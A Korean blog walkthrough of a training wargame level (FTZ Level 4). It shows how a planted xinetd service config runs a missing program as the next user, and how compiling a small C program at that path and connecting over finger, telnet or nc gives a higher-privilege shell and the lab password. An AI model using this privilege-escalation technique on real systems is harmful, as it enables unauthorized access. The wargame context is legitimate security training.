본문으로 바로가기

Level4 문제해결

category Security/리버싱 2017. 11. 29. 19:39

ftz.hackerschool.org의 이미지를 가지고 실습했습니다. 


-Level4

level4 / such my brain


[level4@ftz level4]$ ls -l

 

 합계 12

-rw-r--r--    1 root     root           50  2월 24  2002 hint

drwxr-xr-x    2 root     level4       4096  2월 24  2002 public_html

drwxrwxr-x    2 root     level4       4096 11월 29 17:49 tmp

 


[level4@ftz level4]$ cat hint

 


누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

 


[level4@ftz level4]$ cd /etc/xinetd.d

> 백도어를 숨겨 놓았다고 하니 일단 들어가 봅니다. 


[level4@ftz xinetd.d]$ ls

 

backdoor     daytime      finger  ipop3  rlogin   services  time

chargen      daytime-udp  imap    ntalk  rsh      sgi_fam   time-udp

chargen-udp  echo         imaps   pop3s  rsync    talk

cups-lpd     echo-udp     ipop2   rexec  servers  telnet

 

> backdoor 가 있다. 

> 많이 보던 telnet도 보인다.  ( 서비스 종류에서 알아 봤듯 standalone 방식과 xinetd 방식이 있다. )


[level4@ftz xinetd.d]$ file backdoor

 

 backdoor: ASCII text

 

> backdoor 가 프로그램이 아니라 ASCII text 이다. 


[level4@ftz xinetd.d]$ cat backdoor

 

 service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}

 

> 어디서 많이 본듯한 형식이다. 

> service 이름은 finger ( 여기의 이름은 /etc/services 파일에 들어 있어야 한다. -> 포트를 지정해줌 )

> socket_type 이 stream 으로 보아  TCP 프로토콜을 사용 ( UDP(dgram) )

> wait 는 말그대로 기다린다는 것 

-> 연결을 하면 다른 사용자가 기다린다는 의미로 yes를 하면 하나의 커넥션만 연결되고 끊어질때까지 다른 사용자는 기다린다. 

> user가 level5 로 되어 있으니 이 서비스를 사용하면 level5 권한으로 연결되는 것 같다. 

> xinetd 에 의해 실행되는 데몬 파일은 /home/level4/tmp/backdoor 이다. 


[level4@ftz xinetd.d]$ cat /etc/services | grep finger

 

 finger          79/tcp

finger          79/udp

cfinger         2003/tcp                        # GNU Finger

 

> 79번 포트를 통해 접속한다. 


[level4@ftz xinetd.d]$ ls -l /home/level4/tmp/backdoor

 

 ls: /home/level4/tmp/backdoor: 그런 파일이나 디렉토리가 없음

 

> 어떤 데몬이 서비스 되는지 확인해봤더니 파일이 없다.. 

> 만들어야지..


[level4@ftz xinetd.d]$ cd ~/tmp

> 일단 /home/level4/tmp 로 이동

[level4@ftz tmp]$ vi backdoor.c

 

 #include<stdlib.h>


int main()

{

        system("id");

        return 0;

}

 

> 간단하게 id 를 출력하는 코드를 넣고 서비스가 실행되면 이 파일이 실행되는지 확인한다. 


[level4@ftz tmp]$ gcc -o backdoor backdoor.c

> 컴파일 하고 

[level4@ftz tmp]$ finger level4@localhost

 

 uid=3005(level5) gid=3005(level5)

 

> /etc/xinetd/backdoor 파일에 있던 서비스 이름 finger를 사용하여 실행해보니 /home/level4/tmp/backdoor가 실행됬다. 


[level4@ftz tmp]$ finger level4@localhost

 

 ^[[H^[[J

Level5 Password is "what is your name?".

 

> backdoor.c 의 id 부분에 my-pass로 바꾸고 다시 실행했더니 약간의 오류가 뜨는 것 같고 잘 되는 것 같다. 

> 오류가 뜨길래 몇번 더 해봤더니..


[level4@ftz tmp]$ finger level4@localhost

 

 파이프가 깨어짐

 

> 완벽한 방법이 아닌 듯 하다.


[level4@ftz tmp]$ finger level4@localhost

 

 bash: line 1: level4

: command not found


id

my-pass

 

> 그냥 bash로 바꾸고 다시 실행해보니 같이 오류가 조금 뜨고 쉘이 뜨는거 같은 대 답이 없다. 



[참고] finger
finger 명령어는 사용자 계정정보를 출력해준다. 
원격의 시스템의 사용자 계정정보도 출력해주므로 사용하지 않는 것이 좋다. 
( 확인해본 결과 실습용으로 사용중엔 CentOS 5.5 에는 설치가 안되어있다. )
# yum install finger-server

[level4@ftz xinetd.d]$ telnet localhost 79

 

Trying 127.0.0.1...

Connected to localhost.
Escape character is '^]'.
id;
uid=3005(level5) gid=3005(level5)
: command not found
my-pass;

Level5 Password is "what is your name?".

: command not found
exit;
Connection closed by foreign host.

 

> telnet 으로 79번 포트로 진입하여 명령어를 사용하니 잘 된다. 


다른 방법으로는 nc 명령어가 있다. 


[참고] nc(netcat) 명령어

# yum -y install nc

# nc 192.168.17.200 79 

> 결과는 위의 telnet과 같다. ( ;  안쳐도 됨 )


'Security > 리버싱' 카테고리의 다른 글

Race Condition(레이스 컨디션)  (0) 2017.11.29
Level5 문제해결  (0) 2017.11.29
(암기) backdoor 만들기  (0) 2017.11.28
Level3 문제 해결  (0) 2017.11.28
Level2 문제 분석/응용  (0) 2017.11.28